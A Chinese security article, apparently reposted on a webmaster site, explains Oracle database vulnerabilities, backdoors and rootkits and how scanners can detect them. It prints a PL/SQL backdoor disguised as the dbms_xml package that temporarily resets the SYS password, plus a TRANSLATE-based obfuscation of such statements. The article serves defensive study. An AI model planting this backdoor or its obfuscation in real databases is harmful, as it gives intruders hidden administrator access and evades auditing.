加入收藏 | 设为首页 | 会员中心 | 我要投稿 PHP编程网 - 黄冈站长网 (http://www.0713zz.com/)- 数据应用、建站、人体识别、智能机器人、语音技术!
当前位置: 首页 > 服务器 > 安全 > 正文

Oracle安全攻防,你可能不知道自己一直在裸奔

发布时间:2021-01-11 15:44:15 所属栏目:安全 来源:网络整理
导读:副标题#e# 《Oracle安全攻防,你可能不知道自己一直在裸奔》要点: 本文介绍了Oracle安全攻防,你可能不知道自己一直在裸奔,希望对您有用。如果有疑问,可以联系我们。 作者介绍 刘思成,安华金和安全攻防实验室. 主题简介: Backdoor(后门)、Rootkit、Vuln
副标题[/!--empirenews.page--]

《Oracle安全攻防,你可能不知道自己一直在裸奔》要点:
本文介绍了Oracle安全攻防,你可能不知道自己一直在裸奔,希望对您有用。如果有疑问,可以联系我们。

作者介绍

刘思成,安华金和安全攻防实验室.

主题简介:

  • Backdoor(后门)、Rootkit、Vulnerability分别在攻击中扮演的角色.
  • 攻击者可能使用的Oracle Rootkit技术种类.
  • 综述数据库漏扫工具现阶段能识别的Rootkit类型,提出使其识别更多rootkit类型的建议.

    一、Vulnerability 、Backdoor、Rootkit

一场策划有序的入侵行动中,黑客组织常常会找到网站、操作系统、系统软件上的Vulnerability(弱点),有针对性地开展一系列组合攻击,最终达到控制数据库或操作系统的目的.

如果是政府或财团支持的黑客组织可能不会急于盗取数据库中的敏感信息进行变现,而选择在目标数据库中进行长期潜伏.一方面等待敏感信息价值和数量的增长,另一方面可以摸清整个网络、系统的防护架构和审计能力.防止在盗取敏感数据时,留下特征和证据,以免被对方发现.

这样的一起黑客入侵事件可还原为以下流程图:

 

黑客第一次潜入会使用各种0 day Vulnerability,但对于定期更新补丁的目标系统,一些0 day Vulnerability将会失去作用.为了能够持续发起对数据库的攻击,黑客会在第一次入侵成功后,在数据库中安插Backdoor(后门).Backdoor成为黑客组织持续入侵数据库的关键.

Backdoor本身有多种形式,有可能是DBA账号、存储过程、函数、视图等,但Backdoor本身可能被一些专业的数据库扫描软件所发现.为了把Backdoor的痕迹抹掉,出现了一种技术——Rootkit.Rootkit好比是Backdoor的隐身衣,躲过扫描工具的检测.

在入侵过程中,黑客通过Vulnerability成功入侵目标系统内部,夺取数据库权限.Backdoor负责为黑客后续的攻击行为提供一扇任意门.Rootkit则负责把这道任意门变为隐形模式.Vulnerability、Backdoor和Rootkit三者联合是高级渗透攻击的惯用手段.解决安全问题不光要解决Vulnerability的问题(按时打补丁即可),更重要的是解决Backdoor和Rootkit的存在.能否识破Rootkit的存在,将是数据库扫描类安全产品的核心竞争力之一.

二、Oracle Rootkit详解

按照Rootkit技术水平可以分成裸奔自救技术、数据库级Rootkit技术、操作系统级Rootkit技术和内存级Rootkit技术.

1、裸奔自救技术

采用这种技术手段的使用者普遍对数据库没有很深入的理解,Backdoor的存在比较容易被发现.

这些存储过程多是由SYSDBA用户创建,大部分具有创建DBA用户或对某些特定表执行操作的功能,并且必然会调用某些高危的谓词或对高危表、视图进行操作.如下例:黑客可以通过传输unlock和lock对SYS用户进行密码修改,从而短暂获得SYS用户的使用权限.通过unlock 把SYS改成指定密码,同时也会存储原来的密码,方便以后进行还原.使用后,再通过lock把SYS的密码改回去,并删除过程中产生的表及表信息,抹除痕迹.

下面是上述过程的还原:

..........

CREATE OR REPLACE PACKAGE BODY dbms_xml AS

PROCEDURE parse (string IN VARCHAR2) IS

var1 VARCHAR2 (100);

BEGIN

IF string = ‘unlock’ THEN

SELECT PASSWORD INTO var1 FROM sys.user$ WHERE name = ‘SYS’; –11开始需要从sys.user中拿到密码dba_users已经没密码了做过测试拿不出来

EXECUTE IMMEDIATE ‘create table syspa1 (col1 varchar2(100))’;

EXECUTE IMMEDIATE ‘insert into syspa1 values (”’||var1||”’)’;

COMMIT;

EXECUTE IMMEDIATE ‘ALTER USER SYS IDENTIFIED BY hack11hack’;

END IF;

IF string = ‘lock’ THEN

EXECUTE IMMEDIATE ‘SELECT col1 FROM syspa1 WHERE ROWNUM=1’ INTO var1;

EXECUTE IMMEDIATE ‘ALTER USER SYS IDENTIFIED BY VALUES ”’||var1||””;

EXECUTE IMMEDIATE ‘DROP TABLE syspa1’;

END IF;

......

这种Backdoor如果固化成工具包,名称都不会改变,只要在sys.dba_procedures中查询对应的包名就很容易抓出来.如果不是已知Backdoor,在sys.source$中查询某些可能被黑客利用的语法结构也能排查出Backdoor.例如查询ALTER USER这个关键权限,则可以发现dbms_xml中包含了ALTER USER.打开dbms_xml进行简单检查就会发现其中的问题.

上壳

上面的Backdoor实在裸奔得厉害,于是黑客会考虑对Backdoor进行“加壳“(加密).关于如何加壳有这样2种思路,一是自己写个函数对真正执行的函数加密,即手工加密,另一种是利用数据库提供的加密函数进行加密.

手工加密通常依托于Oracle的字符串置换和加密函数(TRANSLATE).下图中使用的是TRANSLATE,这个函数负责进行字符串转换.转换后,单纯对sys.source$进行特定语法查询是无法查出这个Backdoor的.如下图示例:

......

FUNCTION conv (input IN VARCHAR2)

RETURN VARCHAR2

IS

x?? VARCHAR2 (300);

BEGIN

x :=

TRANSLATE (input,

‘ZYXWVUTSRQPOMNLKJIHGFEDCBAzyxwvutsrqponmlkjihgfedcba0987654321 ‘,

‘1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ’

);

RETURN x;

EXCEPTION

WHEN OTHERS

THEN

RETURN NULL;

END conv;

......

......

EXECUTE IMMEDIATE conv (‘7kdkm6Z0o773a8lZj8acZwqw.uwKx$Z3hk8kZBOCKZ=Z”717”’)INTO var1;

EXECUTE IMMEDIATE conv (‘NxKOvKZvOMDKZwqwzOYZ(NADYZtOxNHOxX(YPP))’);

EXECUTE IMMEDIATE conv (‘GBwKxvZGBvAZwqwzOYZtODuKwZ(”’) || var1 || ”’)’;

COMMIT;

......

(编辑:PHP编程网 - 黄冈站长网)

【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!

热点阅读